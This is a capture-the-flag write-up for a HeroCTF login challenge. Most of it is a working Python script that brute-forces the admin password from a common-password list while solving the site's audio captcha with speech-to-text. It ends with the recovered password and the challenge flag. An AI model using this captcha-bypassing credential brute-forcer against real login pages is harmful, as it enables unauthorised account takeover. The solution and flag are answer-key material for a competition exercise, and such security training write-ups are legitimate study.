Rating:

As the main page suggests, the username is `admin`, and the password is from
[the 500 worst passwords](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/500-worst-passwords.txt).
The only problem is captcha.

A captcha here is an audio file with some digits pronounced in it. Luckily, there're
many speech-to-text solutions that can help to break it. I used a free service [Wit.ai](https://wit.ai/)
through [SpeechRecognition package](https://pypi.org/project/SpeechRecognition/), but you may choose other supported
recognizers, including `CMU Sphinx` or custom Tensorflow model (both can work offline).

1) Install necessary dependencies:
```
pip3 install beautifulsoup4 requests pydub SpeechRecognition
```

2) Set and access token and run the exploit:
```
% cat brute_sounds.py
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote
import base64
import tempfile
import speech_recognition as sr
from tqdm import tqdm
from pydub import AudioSegment
import re

rec = sr.Recognizer()

# create an app at wit.ai (it's free), insert it's access token here
WIT_AI_KEY = '...'

def decode(input):
""""'123' -> '123'"""
if re.fullmatch('[0-9]+', input):
return input

""""'one two three' -> '123'"""
result = ''
for e in input.split():
if e == 'zero':
result += '0'
elif e == 'one':
result += '1'
elif e == 'two':
result += '2'
elif e == 'three':
result += '3'
elif e == 'four':
result += '4'
elif e == 'five':
result += '5'
elif e == 'six':
result += '6'
elif e == 'seven':
result += '7'
elif e == 'eight':
result += '8'
elif e == 'nine':
result += '9'
else:
raise Exception('unknown word `{}`'.format(e))
return result

def get_passwords():
r = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/500-worst-passwords.txt")
r.raise_for_status()
return r.text.split()

def try_password(password, username='admin'):
print('trying `{}`'.format(password))
s = requests.Session()

while True:
r = s.get("http://chall3.heroctf.fr:8082/login")
r.raise_for_status()

soup = BeautifulSoup(r.text, features="html5lib")
captcha = unquote(soup.find_all('source')[0]['src'].split('data:audio/mp3;base64,')[-1])
captcha_rawdata = base64.decodebytes(captcha.encode())

with tempfile.NamedTemporaryFile(suffix='.mp3', delete=True) as ftemp_mp3:
ftemp_mp3.write(captcha_rawdata)
ftemp_mp3.flush()
""" Converting to WAV because MP3 is not supported by the recognizer """
with tempfile.NamedTemporaryFile(suffix='.wav', delete=True) as ftemp_wav:
sound = AudioSegment.from_mp3(ftemp_mp3.name)
sound.export(ftemp_wav.name, format="wav")

with sr.AudioFile(ftemp_wav.name) as source:
audio = rec.record(source)

try:
words_result = rec.recognize_wit(audio, WIT_AI_KEY)
result = decode(words_result)

print('recognized `{}` as `{}`'.format(words_result, result))

r = s.post("http://chall3.heroctf.fr:8082/login", data={
'username': username,
'password': password,
'pincode': result
})
r.raise_for_status()

soup = BeautifulSoup(r.text, features="html5lib")
errors = soup.find_all('p', {'class': 'status'})
if not errors:
return True
status = errors[-1].contents[0]
print(status)

if status == 'Invalid pincode':
continue

if status == 'Invalid login or password':
return False

return True
except Exception as e:
print('Error {}, retrying'.format(e))

if __name__ == '__main__':
passwords = get_passwords()
for p in tqdm(passwords):
if try_password(p):
print('Bingo, password is `{}`'.format(p))
exit()

% python3 brute_sounds.py
... one hour later ...
Bingo, password is `tomcat`
```

3) Log in with username `admin`, password `tomcat` and capture the flag:
![](https://i.imgur.com/lr319DH.png)

The flag is `Hero{4_bit_of_s4lt_with_y0ur_TTS}`.